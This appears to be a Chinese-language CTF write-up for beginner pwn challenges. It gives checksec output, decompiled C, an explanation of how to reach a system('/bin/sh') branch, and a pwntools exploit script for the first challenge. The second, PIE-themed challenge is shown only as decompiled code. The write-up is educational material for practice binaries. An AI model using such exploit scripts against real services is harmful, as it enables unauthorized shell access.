桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
*&v8[4] = __readfsqword(0x28u); strcpy(Your_lucky_number_is_?, "Your lucky number is ?"); HIBYTE(Your_lucky_number_is_?[2]) = 0; memset(&Your_lucky_number_is_?[3], 0, 0x48uLL); v7 = 0; init(&v7, argv, v8, 0LL, v3, v4, Your_lucky_number_is_?[0]); printf("%s", Your_lucky_number_is_?); puts("When do you do your pwn?"); __isoc99_scanf("%c", &Your_lucky_number_is_?[6] + 2); if ( BYTE2(Your_lucky_number_is_?[6]) == '0' ) { puts("!!!"); } else { puts("Now, you can pwn!!!"); get(Your_lucky_number_is_?); system("/bin/sh"); } return0; }
Your_lucky_number_is_?是一个64位的变量
第一步检测如果输入的数据是’0’的话会直接puts三个!然后结束
我们要进入else分支所以随便输一个非’0’的数据
进入get函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
int __fastcall get(__int64 Your_lucky_number_is_?) { int result; // eax int i; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 4; ++i ) { gets(Your_lucky_number_is_?); if ( *(10 * i + Your_lucky_number_is_?) != 48 ) { puts("Sorry, try again."); exit(0); } result = puts("You can do it!"); } return result; }
context(arch = 'amd64',os = 'linux',log_level = 'debug') #io=remote('1.95.36.136',2150) io=process('./pwn') #libc = ELF('./libc.so.6') elf=ELF('./pwn') gdb.attach(io) sleep(2) io.recvuntil(b'When do you do your pwn?') io.send(b'1')
payload = b'\x30'*(0x40)
io.recvuntil(b'Now, you can pwn!!!') io.sendline(payload)
io.recvuntil(b'can do it!') io.sendline(b'a') io.recvuntil(b'can do it!') io.sendline(b'a') io.recvuntil(b'can do it!') io.sendline(b'a') io.recvuntil(b'can do it!') io.sendline(b'a') io.interactive()
go
简单的PIE教学题
check
1 2 3 4 5 6 7 8
桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
buf[3] = __readfsqword(0x28u); (init)(argc, argv, envp); puts(&s); puts(&s_); puts(&s__0); puts(&s__1); puts(&s__2); puts(&s__3); setbuf(stdout, 0LL); printf("welcome to polar challenge"); puts("You need an address."); __isoc99_scanf("%ld", &v4); read(0, buf, 0x10uLL); if ( buf[0] != 0x208LL ) return0; printf("the gift for you: 0x%016lx\n", *v4); printf("Here is the address you want to go to."); puts("you need to use"); __isoc99_scanf("%ld", &v4); puts("polar"); puts(&s); puts(&s_); puts(&s__0); puts(&s__1); puts(&s__2); puts(&s__3); return v4(); }